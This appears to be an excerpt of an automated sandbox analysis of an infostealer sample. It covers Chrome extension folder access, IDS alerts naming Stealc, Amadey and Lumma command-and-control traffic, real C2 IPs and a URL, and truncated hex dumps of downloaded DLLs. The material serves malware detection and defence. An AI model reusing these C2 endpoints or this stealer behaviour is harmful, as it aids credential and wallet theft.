Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2760728126.000000006F6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50091 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50098
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50118 -> 172.67.187.240:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50118 -> 172.67.187.240:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 15:31:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 15:31:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 15:31:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 15:31:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 15:31:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 15:31:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 15:31:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 